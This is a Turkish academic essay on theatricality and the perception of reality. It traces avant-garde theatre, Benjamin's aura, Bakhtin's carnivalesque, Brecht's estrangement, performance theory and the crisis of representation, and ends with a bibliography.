25 Temmuz 2017, Salı
SON HABERLER
Buradasınız: Anasayfa / Makale / Teatrallik Ve Gerçek Algısı

Teatrallik Ve Gerçek Algısı

1878’de Mikhail Bakunin tarafından askeri terminolojiden alınan bir terim olan Avant-garde’nin (öncü birlik), bir dergiye isim olarak verilmesiyle gündeme gelen avangardizm, sonundaki “-izm” ekininin hakkını verecek derecede politik bir tavra dönüşmüştür. Halkla bağını koparan özerk sanatın, yeniden halkla bütünleşmesi fikriyle yola çıkan hareketler, Bakunin’in anarşist görüşü doğrultusunda şekillenmiştir. Çağdaş uygarlığın karşısında yer alan avangardların esas olarak en bilinen özelliklerini Christopher Innes şöyle özetler: “Burjuvaziyle bütünleşen her şeyin ve aynı zamanda da toplumsal örgütlenmenin ve sanatsal konvansiyonların, estetik değerlerin ve maddi ideallerin, sözdizimselliğin ve mantığın reddi.”[1]

Bu anarşist idealler çerçevesinde oluşan yeni tiyatro anlayışında, burjuva tiyatrosunun mimetik algısı tamamen değişmiştir ve gerçekliğin temsili ilkesini ortadan kaldırarak teatralleşmesini beraberinde getirmiştir. Tiyatro, artık edebiyatın bir parçası olarak değil, kendi var olma ilkelerine göre yeniden tarif edilmeye başlanmıştır. Burjuva tiyatrosunun vazgeçilmez özellikleri bir bir yıkılmaya başlanmıştır: İşlevsel dil yerini şiirsel dile, bireyler arası ilişkiler imkansızın paradosine, klasik mimesis anlayışı bir başka hakikat çerçevesinde çarpıtılmış imgelere, diyalog yerini monoloğa ve iletişimsizliğin bir göstergesi olan montaj ve fragmana bırakmıştır.[2] Yeni anlayışın estetik yönelimi ise “sanat, hayatı taklit eder” değil; tersine “hayat, sanatı taklit eder” ilkesidir. Dolayısıyla sanat yapıtının geçeklikle olan ilişkisi değişmiştir. Bu noktada Walter Benjamin’in “Tekniğin Olanaklarıyla Yeniden Üretilebildiği Çağda Sanat Yapıtı” adlı makalesine bakmakta fayda var.

Benjamin, bu makalede yeniden üretilmiş olan sanat yapıtı ile özgün yapıtı karşı karşıya getirir. Benjamin’e göre, teknik yolla yeniden üretilen sanat yapıtının en önemli eksiği, “şimdi ve burada” olma ilkesinin ortadan kaldırılmış olmasıdır. Bu ilke, yapıtın hakikiliğinin ve biricikliğinin başat koşuludur. Bu koşul, teatralliğin de en önemli koşullarından birini oluşturur. Teatral olan, tekrarlanamazlık hissi uyandıran, o “an”a ve o “mekan”a dair olandır. Dolayısıyla her teatral gösterim, biriciktir. Benjamin, yeniden üretimin yapıtın özel atmosferini de ortadan kaldırdığını belirtir; yapıtın bir defaya özgü olan varlığının yerine, kitlesel varlığını geçirir. Sanat yapıtının alımlanmasını önemli kılan iki vurguya dikkat çeker: Yapıtın özgün halinin kült değeri ve yeniden üretilmiş olanın törensellik bağını yitirmesiyle oluşan sergileme değeri. Bu noktada sinema ve tiyatroyu karşı karşıya getirir. Buna göre, sahne sanatçısının sanatsal edimi, izleyiciye doğrudan kendi kişiliği aracılığıyla seslenir. Sinemada ise bu, bir aygıt aracılığıyla gerçekleşir. Bunun iki sonucu vardır: İlki, sinema oyuncusunun edimini izleyiciye aygıt aracılığıyla iletmesi nedeniyle, bütünsellik niteliğine saygı göstermesine gerek yoktur; edimi bir dizi optik testten geçer. İkincisi ise, sinema oyuncusunun edimini izleyiciye sunanın kendisi olmaması nedeniyle, tiyatro oyuncusunun sahip olduğu temsil sırasında edimini izleyiciye göre ayarlama olanağının olmamasıdır. Böylece izleyici, oyuncuyla kurulmuş hiçbir kişisel ilişkisi olmaksızın bir bilirkişiye dönüşür.

Benjamin, avantgarde tiyatroyu “alegori” kavramı içinde değerlendirir. Benjamin’e göre alegori, eksikliğin, dünyanın ontolojik değer kaybının formudur. Alegorik form, anti-estetiktir, dramın alegorileştirilmesi tümüyle yıkım anına ait bir estetikleştirme hamlesidir. Esas olan estetik düşüncenin yıkımıdır. Benjamin’e göre, avangardlar aura’nın kaybolduğu bir çağın ürünlerini vermişlerdir. Benjamin’in bahsettiği aura, dinsel kültle ilgili değildir; Rönesans’ta oluşmaya başlayan sanat anlayışına ilişkindir. Auratik alımlama, bir defalık, yinelenemezlik ve sahicilik gibi kategorilere bağlıdır. Teknik yolla üretilen sanat yapıtı ise bu hakikilikten uzaktır; sanat şimdi ve burada olma niteliğini kaybetmiştir.

Innes, avangard hareketin popülizm ile bağlantısı olduğunu söyler ve bunu Bakhtin’in “karnavalesk” terimi ile ilişkilendirir. Bakhtin, ideal sanatı geçiş törenlerindeki karnavalesk yapıda bulur ve bu avangard tiyatro ile ilişkilendirilebilir. Geçiş törenlerinde toplumsal düzen yerle bir edilir, tabular parçalanır; grotesk, karmaşa ve eğlence salt amaç haline gelir. Grotesk ve kaos, farklı bir dünya ve farklı bir düzenin gizli gücünü gösterdikleri için değerlidirler. Avangardların seyircisini şaşırtma, onları kolektif bir üretimin parçası yapma, parçalanmış yapılarla toplum düzenini alt üst etme idealleri ile Bakhtin’in karnavalesk sanat ideali örtüşür. Innes, karnavalesk olan ile avangard hareketler arasındaki bağı şöyle açıklar:

Özellikle klasik estetiğin sabitlenmiş sanat yapıtına karşı bir süreç olarak sahnelemeye yapılan vurgu ve en azından kuramsal olarak oyuncularla seyircilerin eşit katılımcılar olarak bir komünyon yaratmak adına gösteri ile gerçeklik arasındaki engellerin yıkılıp birbirine karışması. Bakhtin’in de sahneyi metafor olarak kullandığı bir alıntıda belirttiği gibi “karnaval… oluşma, değişme ve yenilenme bayramıydı.” Toplumda da sanatta da ölümsüzleştirilen ve tamamlanmış her şeye düşmandı.[3]

Seyirci ve oyuncuları eşit katılımcılar haline getirme amacı, teatral bir gösterimin hedeflendiğinin önemli bir göstergesidir. Teatralliğin “şimdi ve burada” meydana gelme ilkesi, karnavallarda ve geçiş törenlerindeki süreci birlikte oluşturma arzusu ile ilişkilidir. İzleyiciden kendini yalıtan ve kendisine ait güvenli mekanında kendi başına var olan illüzyon tiyatrosunun özerk bütünlüğü ve auratik etkisi de bu sayede yerle bir edilmiş olur.

Teatrallik kavramı çerçevesinde tartışılan “gerçekliğin temsili” sorunu, sanat-hayat ikiliğini zorunlu olarak içerir. Yaşamın birebir taklidinin ortadan kalkması, “-mış gibi yapma” formülü yerine, doğrudan “ne ise onu yapma” formülünün devreye girmesi sanat ve yaşam arasındaki uçurumu ortadan kaldırır. Sanat, yaşama “yüce” ve erişilemez bir noktadan bakmayı bırakır ve gösterim laikleşir. Yaşam, tiyatronun estetize edilmiş penceresinden, mesafesiz ve dolayımsız olarak seyirciye sızar. Silvija Jestrovic, teatralliğin ayırt edici özelliklerinden birini, hayatı hem sahne üzerinde, hem de gerçek dünyada bir görselliğe dönüştürmesi olarak saptar. Gerçek ve alışılmış olan, bu sayede teatral olana evrilir.

Tarihsel olarak avant-garde hareketlerin teatral gösterimler için önemli bir milat noktası olduğu fikrini destekleyen Jestrovic, Rus avandgard tiyatrosunun ve Rus biçimcilerinin bu konuda önemli görüşleri olduğuna değinir ve bu bağlamda “ostranenie” (aracı çıplaklaştırma, mekanizmanın kendisine işaret etmesi) kavramına değinir. Buna göre teatrallik, tiyatronun kurgusallık ve metnin tamamlanamazlığı sayesinde alışılmışa uzaklaştırıcı bir mesafe koyar. Ostranenie kavramının Brecht tiyatrosundaki yansıması, yabancılaştırmadır. Brecht, yabancılaştırmayı bir mesafe koyma aracı olarak kullanırken farklı stratejiler uygular. Örneğin, bu mesafeyi, oyuncunun rolü ile kurduğu ilişkide arar. Oyuncunun rolü ile mesafesinin, sokaktaki bir kazayı anlatan kişinin dinleyicisi ile kurduğu mesafe ile aynı olmasını ister. Oyuncu, rolü ile özdeşlik kurup onu yaşamak yerine, ona tanık olmalı, dışarıdan bakmalıdır. Eğer oyuncu rolü ile bu türden bir rapor verme mesafesinde durursa, tam da Brecht’in istediği gibi, rolüne eleştirel bir gözle bakabilir. Dolayısıyla oyuncunun rolüyle üçüncü tekil şahıs olarak konuşmasını ister. Bu mesafe, oyuncunun tavrının bir tavır olarak gösterilmesini sağlarken, tavrın tavrının oluşmasını da beraberinde getirir. Tavrın bu geciktiriciliği ile sahnenin episodik karakteri, Brecht tiyatrosunun temel karakteridir. Brecht tiyatrosunun teatral sahnelemesindeki kesintinin, süregiden alışkanlık içinde belirmesi ise, temel diyalektiği ortaya çıkarır. Bu sayede somut olarak taklit etmenin de önüne geçilmiş olur.

Teatrallik kavramı, çoğu zaman performatiflik kavramı ile birlikte ele alınır. Evreinov’un gerçek yaşam ile sahne performasında beliren teatrallik arasındaki sınırları neredeyse ortadan kaldıran görüşlerinin etkisi pek çok kuramcıda kendisini hissettirir. Elizabeth Burns, sahileştirici ve ikna edici olarak iki ayrı konvansiyon tespit ettiği teatralliğin, yaşamla olan sıkı bağlantısının altını çizer. Burns, sahne performansında var olan teatrallikle, gerçek hayatın bir parçası olan teatrallik arasında bir bağ kurarak performatifliği işaret eder. Silvija Jestrovic, performatifliğin köklerini hem teatrallikten, hem de edebilikten aldığını söyler. Ona göre, sanat-dışı, tekrar edilemeyen, anda olan bir yapı olarak sanat yapıtına girer ve süreç içinde kısmen estetize edilir. Aynı zamanda da kurgusal bir biçimi vardır ve bu biçimle de gündelik yaşama girer ve gerçeklik ile temsilin ilişkisini değiştirir. Jestrovic, bu görüşü çerçevesinde teatralliği ikiye ayırır: 1- Kendine-göndergesel yönünü açığa çıkararak tiyatroyu teatralleştiren, 2- “Oynama arzusunu” uyandırarak hayatı teatralleştiren teatrallik.

Janelle Reinelt, performansı en genel anlamıyla şöyle tanımlar: Bilindik ve kurallara uygun teatral performanslara benzemeyen, süreç içindeki özneyi, bazı materyallerin ve özellikle bedenin yapımını ve şekillendirmesini ve temsil yeteneğinin sınırlarının keşfedilmesini sahnedeki gösterimle işaret eden edim. Reinelt’in performans görüşündeki bedensellik vurgusu önemlidir. İzleyicinin performansta performer bedeniyle kurduğu ilişki, benzetmeci gösterimdeki bedenle kurulan ilişkiyle aynı değildir. Bedenin “şimdi ve burada” eylemesi, her gösterimin biricik oluşundan dolayı, tüm aksamaları ve her defasında yeni olan fiziksel koşullarıyla doğrudan performer öznesinin bedenine işaret eder. Bedenin varlığıyla işaret edilen “gerçeklik” ise, alımlayıcıyı şüpheye düşüren bir gerçeklik algısıdır. Bedenin o an’da yarattığı algı, alımlayıcının kendi özne olma durumu içindeki bireysel algısıdır. Kolektif bir alımlama ortaya koymayan, hatta bu türden nesnel bir bakış açısını yıkmayı hedefleyen performans için bu öznel algılama sürecinin şüpheli, değişken varoluşu önemlidir. Performans gösterimi, tek bir nesnel gerçekliği ve bu gerçekliğe bağlı anlam oluşturma mantığıyla işlemez. İzleyici, özgürdür ve zaten nesnel doğrulanmaya açık olan bir anlam çıkarması istenmez.

Nesnel gerçeklik algısını ve klasik mantığın anlamlandırma sürecini boşuna çıkarmayı hedefleyen performansta, yinelenemezliğin vurgusu paradoksal bir biçimde yineleme mantığı ile yapılır. Her gösterim, bir öncekinin bir tekrarı olsa ve genel hatlarıyla bir öncekinin aynısı olsa da, aslında hiçbir gösterim özdeş değildir. Bedenin sahnedeki fiziksel bulunuş hali, o bedenin süreç içindeki devinimsel değişimine bağlı olarak artık aynı beden değildir. Dolayısıyla, benzer bir hareketi yinelese de, bu saf bir tekrar değildir. Her defasında aralarında bir çarpıklık oluşacaktır. Bu çarpıklık, öznenin değişken, uçucu varoluşunun tekrarlanamaz, o an içinde olup biten eylemini gösterir ve gösterdiği anda siler. Her tekrar, kendi anının devinimsel niteliğinden beslenir.

Jacques Derrida, dilin genel durumunun bir yineleme olduğunu düşünür ve bunun da teatral sözcelemleri birer istisna değil, tüm sözcelemlerin genel durumunun bir örneği ya da “defa”sı kıldığını, onların da bir önceki dilbilimsel yapının yinelemesi olduğunu söyler. Performans için dile getirdiğimiz, her yinelemenin yeni bir varoluşa işaret etmesinden kaynaklanan gücünü, Derrida benzer bir biçimde dile uygular. Buna göre, yinelemenin gücü, kendisi ile kendisinden önce oluşturulmuş kontekstler arasındaki kopuşta yatar. Yineleme, kontekst ile sözcelem arasındaki bir boşluk olduğu anlamına gelir, bu boşlukta evvelki şartların yerine getirileceğine dair bir güvence yoktur, hatta tam tersine aralarında bir çarpıklık/türeme bulunur ve bu çarpıklık da edimsele gücünü verendir.[4] Derrida, kendi görüntüsünü kendisi oluşturan dilin, temsil mantığına hizmet ettiğini söyler. Dil aracılığıyla sağlanan uzamlaştırma, yeni bir uzam-zaman düşüncesini çağırır. Burada önemli olan dilin fiziksel/somut varlığıdır. Derrida, dil ve temsil krizi arasındaki kavramsal bağıntıyı şöyle kurar:

olmayan bir yaratıcı (yazar), uzaktan bir metni kuşanarak (metinle silahlanarak) zamanı ya da temsilin anlamını gözetler, birleştirir ve yönetir. Temsilde, temsil edilenler, doğrudan onun (yazarın) düşüncelerini, hedeflerini adlandırmakla yükümlüdür. Temsil ediciler aracılığıyla temsil edilenler- rejisör ya da oyuncular – boyunduruk altındaki kişilerdir, demek ki, buna göre az ya da çok “yaratıcı”nın düşüncelerini temsil ederler.[5]

Performansın en temel dayanakları, temsil ve özne eleştirisi, süreç içinde oluşma mantığı, bütüncül bir anlam yaratmaktan kasten kaçış olarak belirlenebilir. Performansın bu özellikleri çerçevesinde şekillenen varoluşu, teatralliğin sınırları içinde gezindiğinin de bir göstergesidir. Temsile direnme tavrı, teatralliğin temsil krizini de içeren bir kavramdır. Gerçeğin nesnel olarak temsilinden vazgeçilmesiyle ortaya çıkan teatral durumda, gerçeklikle kurmaca olanın sınırlarının birbirinin içine geçişinin homojen olmayan bir dağılmayla gerçekleşmesi kafa karışıklığına yol açar. Süreyya Karacabey, bu temsil krizinin kaynağını şöyle açıklar:

Gerçekliği temsil ederken tiyatro, dış dünyayla aynı materyalleri kullanmaktadır. Bir nesne sahnede, hem gerçek kullanım işleviyle hem de göstergesel kullanım işleviyle yer alır. Bu materyal-özdeşliği yüzünden “kurmacanın teatral sunumu” zaten temelde, bir göstergesel yanılsamanın işlev kazanmasıdır. Seyirci, gösterenin ve göstergesinin aynı materyal olmasından dolayı, göstergenin göndergesini algıladığını düşünürken gerçekte, o sırada sadece gösteren vardır. Sahnede gerçekleşen olaylar ile kurmacanın gönderdiği dünya arasında, kesintisiz bir referans değişimi vardır; nesnenin sahnede görünmesiyle yorumlanması birbirine paralel ilerler. Dolayısıyla tiyatro temsil edici bir sanattır ve temsil krizi, dramatik metinler için de edebi metinlerle karşılaştırıldığında daha sorun yaratıcı sonuçlara yol açmaktadır.[6]

Karacabey’e göre, temsil krizi gerçeklik algısı ile doğrudan ilişkilidir. Kurmaca ile gerçeklik arasındaki ayrımın kaybolmasıyla, sanatın kurmaca niteliği de “karşı kurmaca”ya dönüşür. Birbirine karşıt olan bu iki kavram, tarihsel avangardlardan postmodernizme kadar geçen süre içinde birbiriyle örtüşür hale gelmiştir. Gerçek, kurmaca bir karaktere bürünmüş ve sayısız suretini yaratmıştır. Bu çoğalmacı durum, Baudrillard’ın simülasyon kuramı ile desteklenmektedir. Simülasyon benzetmesi ile açıklanan toplumsal yapıda, gerçeklik ve suretleri birbirine karışmış, gerçeklik yeniden üretilir olanla, kitle iletişim araçlarının da etkisiyle, eşdeğer olarak algılanmaya başlanmıştır. “Gölgeler krallığında, artık kimsenin gölgesi yoktur” diyen Baudrillard’a göre, gerçeklik bir yanılsamadır ve her düşünce öncelikle onun maskesini çıkarmak zorundadır. Baudrillard’dan çok önce benzer bir yeniden üretimle değer kaybına uğrayan sanat yapıtından bahseden Benjamin’in görüşleri de benzer bir noktaya işaret eder: Gerçeklik, kusursuz yeniden üretimle sürekli tekrarlanan ve her defasında bir kopya olduğu gerçeğinin üstünü yeni bir gerçeklik algısıyla örten bir tür “hiper-gerçeklik” yaratır. Gerçeklik algısındaki bu değişimin tiyatrodaki yansımasını Corvin şöyle açıklar:

Tiyatro bir simulakr/yanıltma’dır. Ve simulakrdan doğar – yarattığı benzerlik aldatmadan başka bir şey değildir. Tiyatro yalnızca yalan üretir, ama devamlı suretle o yalanları doğuran, gerçeklerdir. Çünkü gerçek dediğimiz şey, toplum tarafından oluşturulmuş bir değer yargısıdır – bu yargı da istediği kadar yalana gerçeklik ruhsatı vermeye yetkilidir.[7]

Corvin’in tiyatroda yaratılan suretin bir yalan olduğuna dair görüşünün altında, Diderot’nun ünlü “oyuncunun paradoksu” fikri yer alır. Diderot’ya göre oyuncu, insanlara ait tutkuların duygusuz ve soğuk birer taklitçileridir. Amaçları, seyirciyi manipüle etmektir. İzleyiciyi aldatmak için çalışırlar ve iyi birer yalancıdırlar. Didreot’dan yola çıkan kuramcılar, performans üzerine değerlendirmelerini bu paradoksa göre kurarlar. Oyuncu, izleyicinin aldanma boşluğunun karşısına aldatma ve simülasyonun gücüyle çıkar. Bu yaklaşımda önemli olan, yaşam ve oyunun birbirine karşıt hale getirilmesidir.

Teatralliğin, sahne üzerinde gerçeği kopyalamayan ama gerçekliği kendi estetik projesi doğrultusunda yeniden üreterek göstermesi fikrini açımlamak için yeniden avangardlara bakmakta fayda var. Meyerhold, teatralliği Rus Biçimcilere yakın bir yerden durarak tanımlar: “Teatrallik, biçimin kaçınılmazlığına dayanır… tiyatro sanattır ve içindeki her şey, sanatın kurallarına göre belirlenmelidir. Sanat ve hayat farklı kurallarla yönetilir.”[8] Meyerhold’un bu yaklaşımı, teatralliği, illüzyonist yaklaşımlara ve performansı da yazılı metne karşı üstün tuttuğu fikriyle örtüşür. Bu noktada Roland Barthes’in teatrallik tanımı akla gelir: “Teatrallik, tiyatro-eksi-metindir, yazılı konudan itibaren, sahne üzerine inşa edilen göstergeler ve duyular yoğunluğudur. Metni, yüzeysel dilin derinliğine gömen duyumsal yapaylığın evrensel algılanışıdır.”[9]

20.yy’da tiyatronun metin hükümranlığının yerini yönetmenin almasıyla, yazarın önemi azalmıştır. “Sahnesel teatrallik” kavramı, bu noktada sahnesel olanın metin karşısındaki üstünlüğünü gösterir. Ancak postdramatik üslupla yazan yazarların, yeni tiyatro metinlerinde dili bilinçli olarak öznelleştirmeleriyle, “metinsel teatrallik” kavramı ortaya çıkmıştır. Dilin kendi teatralliğini yaratması, geleneksel dil algısını da tamamen değiştirir. Bu noktada dramatik metinlerle, dramatik olmayan metinlerin taşıdığı teatral potansiyel arasındaki fark önem kazanır. Helga Finter, bu bağlamda geleneksel ve analitik olmak üzere iki tür metinsel teatrallik saptar. Dramatik teatrallikte, dramatik metinlerin, sahnede olacak olayların bir elçisi olması bakımından aracı rol oynadığını söyler. Analitik teatrallikte ise, kurmaca metnin iç iletişim sistemini aşıp, tamamen sahneye odaklanır. Finter, dramatik ve analitik teatrallik arasındaki farkı şöyle özetler: “Dramatik potansiyel ya da geleneksel metinsel teatrallik, yalnızca kurmacanın sahnede olacakların olası elçisiyken ve metin içi – kurmaca içi iken; analitik teatrallik, kurmacayı aşmakta ve yazarın sahneleme sırasındaki iletişim ortamını dikkate alarak yazmasıdır. Teatralliğin bu biçimi, yeni metinlerin bir özelliği olarak nitelenebilir.”[10]

Anne Übersfelt ise, metine ve sahnelemeye bağlı olarak oluşan teatralliği bir tür terörizm olarak görür. Übersfled, bu iki alanın metin kullanımına sadık kalma ve metnin reddi konusunda ya “metinsel terörizm”i ya da  “sahnesel terörizm”i seçtiklerini düşünür. Bu anlamda, metnin hiyerarşik olarak önemini reddedip, salt malzemeye indirgeyen görsel tiyatro için, teatralliğin yaratımı eyleme bağlıdır. Sahnesel terörizm, tiyatronun kendi dilini yaratma amacındadır. Sahnede üst üste yığılan imgeler, hareket veya hareketsizlik temsili ön plana çıkarmak için adeta izleyicisine saldırır. O anda meydana gelen ve bir daha asla tekrar edilemeyecekmiş hissini uyandıran bir etki yaratmak için tüm konvansiyonlarını ortaya döker. Gösterim tekrarlanacak olsa bile, etkisi bir kereye özel olduğunu sezdirir; bir anlamda öyledir de. Oyuncu, aynı temsili ikinci defa gerçekleştiremez.

Kendi teatralliğini oluşturan dil, parçalanmış bir dildir. Bir kekemenin ağzından dökülen yarım kalmaya mahkum sözcükler gibidir. Yarıda kalmak, asla tamamlanmamak ya da zaten hiç oluşmamış olmak asal hedefidir. Übersfelt’in terörizm tanımlaması, bu anlamda mantıklıdır; seyirci gözleri önünde olup biten her şeye maruz kalandır. İzleyici, gösterimi her durumda geleneksel bir algı çerçevesinde değerlendirir ve anlamlı bir bütün kurmaya çalışır. Ancak, teatralliğin anlama direnen varlığı, sözcüklerin parçalanması ve tamamlanmış bir metnin yokluğuyla izleyiciye saldırır. Teatralliğin bu anlamda en saldırgan örneklerini şüphesiz Antonin Artaud vermiştir. Artaud’ya göre, tiyatrodaki asal sorun, Batı tiyatrosunun tümüyle üstüne inşa edildiği metindir. Edebiyattan doğmuş olan, dilin bütünsel yapısına sığınan bu tür tiyatro artık eskimiştir ve “başyapıtların kökünü kazımak gerek”mektedir. Sözcükler kendilerinin ötesine geçebileceklerse ancak o zaman tiyatro için hala işe yarar olabilirler. Dolayısıyla Artaud da dili yok etmek adına, yine onu kullanma zorunluluğuna mahkum olmuştur.

Dilin parçalı yapısı ile kendisine işaret ederek teatralleşmesi, gösterimin tüm elementlerinin benzer biçimde işlediğinin de bir göstergesine dönüşür. Dil, somut olarak kullanılmadığı durumlarda bile, mekanın yaratılmasında etkindir. Mekanın, teatral işleyişteki önemi ise kavram çerçevesinde tartışan tüm kuramcıların odak meselelerinden biridir. Performer’ın içinde devindiği mekan, oyuncunun varlığının ötesinde bir varlık taşır ve kendini kesintisiz olarak işaret eder. Temsilin mekanı, bir sahne olmadığı gibi, yalın çıplak ve belirli bir amaca uygun olarak dizayn edildiği yer de değildir. Teatral mekan, gerçekliği ve kurmacayı bünyesinde beraber taşıyan, ikisini asla birbiri içinde eritmeyen bir mekansal duruşa sahiptir; mekanın bir tiyatro binası olması, fabrika ya da depo olması, gelinip geçilen bir sokak olması fark etmez. Önemli olan izleyici ve oyuncunun mekanla ve bu mekan içinde birbiriyle kurduğu teatral ilişkidir.

Teatralliği, bir başkasının varlığına koşullayan Josette Feral, mekanın teatralliğin ortaya çıkışındaki belirleyiciliğini “görünmez tiyatro” örneği ile açıklar. Görünmez tiyatro, gündelik yaşamımız içinde, hiç beklemediğimiz bir anda ve bir yerde karşımıza çıkabilecek bir gösterimdir. Örneğin bir metroda normal bir yolculuk esnasında, iki kişi arasında çıkan tartışma, bir tiyatro olabilir. Burada gerçekleşen eylemin bir tiyatro oyunu olduğunu anlamak elbette çok güçtür. Metroda bulunanlar biletli birer izleyici olmadıkları gibi, ne bir sahne ne de kostümlü oyuncular göze çarpar. Her şey gündelik yaşamın sıradanlığı içinde gelişir. Söz konusu tartışmanın bir oyun olduğunu kavramak, izleyicinin algısına bırakılmıştır. Burada teatralliğin varlığından söz etmek güç görünse de, imkansız değildir. Burada oyuncu için teatrallik kendiliğinden oluşur. O, kendisini bakılmak için bakışa sunar. Yaptığı eylemin kurgusallığının farkındadır, izlendiğinin de. İzleyicinin ona bir oyuncu olarak mı, yoksa kavgacı herhangi bir insan olarak mı baktığının önemi yoktur. Önemli olan, bakışı çelebilmektir. Oyuncunun metroyu bir tür sahneye dönüştürmesi ve onunla teatral bir ilişki kurması, izleyicinin algısı ne yönde olursa olsun, durumu teatral kılar. İzleyici, gündelik bir olayı bir kurgu olarak yorumlayıp, bakan kişi olduğunun ayırdına vardığında, teatrallik izleyici ile doğrudan ilişki kurmayı başarır. Ancak önemli olan, kurgunun farkındalığına varabilmektir. Aksi takdirde izleyici, metroda giderken can sıkıcı ama sıradan bir kavgaya tanıklık etmiş olmanın ötesine geçemez. Klasik bir tiyatro sahnesinde teatralliğin izi sürülürken, yine oyuncu ve izleyici ile olan ilişkisi göz önüne alınabilir. Burada izleyiciler kurguya dayalı bir eylem izleyeceklerinin bilincindedirler. Hatta henüz oyun başlamamışken görülen dekorlu (ya da dekorsuz) sahnenin bile teatral bir değer taşıdığı söylenebilir. Bu görüşten yola çıkan Josette Feral, mekanın tek başına teatral olduğunu söyler. Feral’e göre, aktörün varlığı teatralliğin ön koşulu değildir. Bu anlamda oyuncunun teatral mekan ile ilişki kurarak teatral yaratım sürecine katkıda bulunduğu söylenebilir. Sahnede gördüğünün kurgusal bir gerçeklik olduğunu bilen izleyici, oyuncunun konumunu da bu bilgisine göre belirler. Oyuncu sahnenin taşıdığı teatralliğin bir aktarıcısıdır.

Mekanın, oyuncunun, sesin, müziğin, dekorun ve daha ne kadar sahnesel element varsa tümünün tek tek kendini bakışa açması ve kendi teatralliğini kurması, ister istemez meta-drama kavramını çağırır. Meta-dramatik bir sahnelemenin yarattığı teatrallik fikri, Silvija Jestrovic’in belirlediği iki tür teatrallikten ilkine işaret eder: Kendine-göndergesel yönünü açığa çıkararak tiyatroyu teatralleştiren teatrallik. Süreyya Karacabey, meta-dramayı şöyle tarif eder:

Meta dram için en genel tanım ölçütü, öz-yansıtmadır. Öz-yansıtmada dramatik ileti uzlaşımsal bağlarından koparılır ve iletinin estetik karakterine bir vurgu yapılır. Gösterilenlerin tümüyle kurmaca olduğunun altını çizen kurmacaya ait meta dramda, yansıtmanın nesnesi dramdır. Bu yansıtma kurmacayı desteklediği gibi kırılmaya da yol açabilir.[11]

Tiyatronun kendisini işaret etmesinin illüzyonu kırıcı etkisi, tek başına teatral bir durumun ortaya çıkışına yeterlidir. Tiyatro tarihi, klasik oyun yazım türleri içinden de bu tür sahnelerin varlığına şahittir. Konunun en bilindik örneği elbette Hamlet’teki “Gonzago’nun Öldürülmesi” sahnesidir. Tiyatro olduğunu yanılsamacı üslubuyla unutturan bir sahneleme, meta-dramatik sahne kullanımıyla illüzyonu bir an için kırar. Esas olarak bu unutturma durumu kavramsal bir kabulleniştir; elbette tiyatro zorunlu olarak kendine işaret edecektir. Ancak, sahnelemenin tümden teatralliğe yaslandığı oyunlarda meta-drama, illüzyonun zaten hiç kurulmamış olmasını sağlayacaktır. Bu noktada gerçeklik ile kurmaca arasındaki gidiş-geliş de belirgin hale gelecektir. Meta-drama, kurmacaya yaslanır; gerçek olma iddiasını daha baştan reddetmiştir. Sahnelemede konu edilen şey, tiyatronun konu edeceği türdendir; gerçek dünyayla karıştırılması olası görünmez. Kurmacanın varlığının seyirciye sürekli olarak hissettirilmesi, seyircideki yabancılaşmayı uyanık tutacak ve alımlamada herhangi bir biçimde “gerçekliğe kaçış”a izin verilmeyecektir; gerçeklik tüm yapının içine sızmış olsa da.

Tiyatronun en “içsel” kavramlarından biri olan teatrallik, izleyicinin karşısına çok büyük bir iddia ile çıkar. Kurmaca olanı hiçbir şeyi gizlemeden, aldatmadan gösterme iddiasıdır bu. Tiyatro, tüm elementleriyle “kendi” olarak çıkar seyirci karşısına; kaba, çıplak varoluşuyla “şimdi ve burada”dır. Ancak tiyatronun bu “canlı” bulunuş hali, tiyatro karşıtı söylemlerin kaynağını oluşturur. Michael Fried, “Art and Objecthood” adlı makalesinde teatrallik karşıtı söylemlerini açıklarken, sanatın bir nesne olarak kendini ortaya koymasından duyduğu rahatsızlığı dile getirir. Fried’ın bu rahatsızlığı ise, Feral’in teatralliğin asal koşutu olarak belirlediği, bir başkası için var olma durumuyla ilintilidir. Sanat eserinin, bir nesne olarak kendini bakışa açması, tiyatroya özgü bir bayağılıktır ve sanat, tiyatrodan uzaklaştığı ölçüde başarılı olacaktır. Fried’ın dile getirdiği bu rahatsızlık, tiyatro tarihi için yeni değildir; olsa olsa Platon’dan beri bilinen tiyatro karşıtlığının, postmodern sanat estetiği açısından yeniden ele alınmasıdır. Fried’a göre postmodern teatrallik, geleneksel sanat nesnesinin dışındaki öğeleri vurgulamakta ve öznenin nesneyle ilişkisini ya da bütünün parçayla ilişkisini yerle bir etmektedir. Nesnenin içsel değeri yok edilir, böylece sanattaki şekil ve biçim vurgusunu ortadan kaldırır. Biçimsizlik ve anlam çoğalmasına vurgu yapar. Tiyatro sanatı çok büyük ölçülere dayanır ve izleyiciyi hem fiziksel hem de psikolojik olarak nesneden uzaklaştırarak huzursuz eder. Fried’ın tiyatroda “sahnede bulunuş” olarak adlandırdığı materyallik durumu, derinliksiz bir materyalliktir. Bu derinliksizlik, Fried’ın görmek istediği geleneksel algıyı kırar. İzleyici, maruz kaldığı şey karşısında çaresiz ve şaşkındır. İzlediği şeyin gerçekliğinin erozyona uğratılmış olması ve yapay bir görüntüler vizyonu sunulması, klasik estetik normlarına aykırı olduğu için başarısızdır.

Teatrallik, kendisine karşı çıkışların temelinde de bulunan nesnelik durumuyla, kendi gerçeklik algısını yaratır. Gerçekliği kendi içinden çarpıtarak yansıtır; gerçekle uzlaşmayan tavrıyla kendini var eder. Kendisine bakana ve onun bakış açısına göre değişiklik gösteren gerçek, güvenilir bir kavram olmaktan çıkmış, kendisini alımlayıcısına teslim etmiştir. Bu teslimiyet, aynı zamanda, teatral olanın, yapay bir içerikle ve büyültülmüş hareketlerle sunulmasının da bir gerekçesidir.

 

 

 

KAYNAKÇA

Benjamin, Walter. Pasajlar, Yapı Kredi Yayınları, İstanbul, 2002.

Esslin, Martin. Absürd Tiyatro, Dost Kitabevi, Ankara, 1991.

Innes, Christopher. Avant-Garde Tiyatro, Dost Kitabevi, Ankara, 1993.

Janelle Reinelt; “The politics of Discourse: Performativity meets Theatricality” SubStance 31, 2002.

Jean-Pierre Sarrazac; “The Invention of Theatricality” SubStance 31, 2002.

Josette Feral; “Specificity of Theatrical Language1” SubStance 31, 2002.

Karacabey, Süreyya. Modern Sonrası Tiyatro ve Heiner Müller, De Ki Yayınları, Ankara, 2006.

Silvia Jestrovic; “Theatricality as Estrangegement” SubStance 31, 2002.

Virginie Magnat; “Theatricality from the Performative Perspective” SubStance 31, 2002.

 

 

 

 

 

 

 


[1] Christopher Innes. Avant-Garde Tiyatro. (Birinci Basım. Ankara: Dost Kitabevi, 1993) s.19

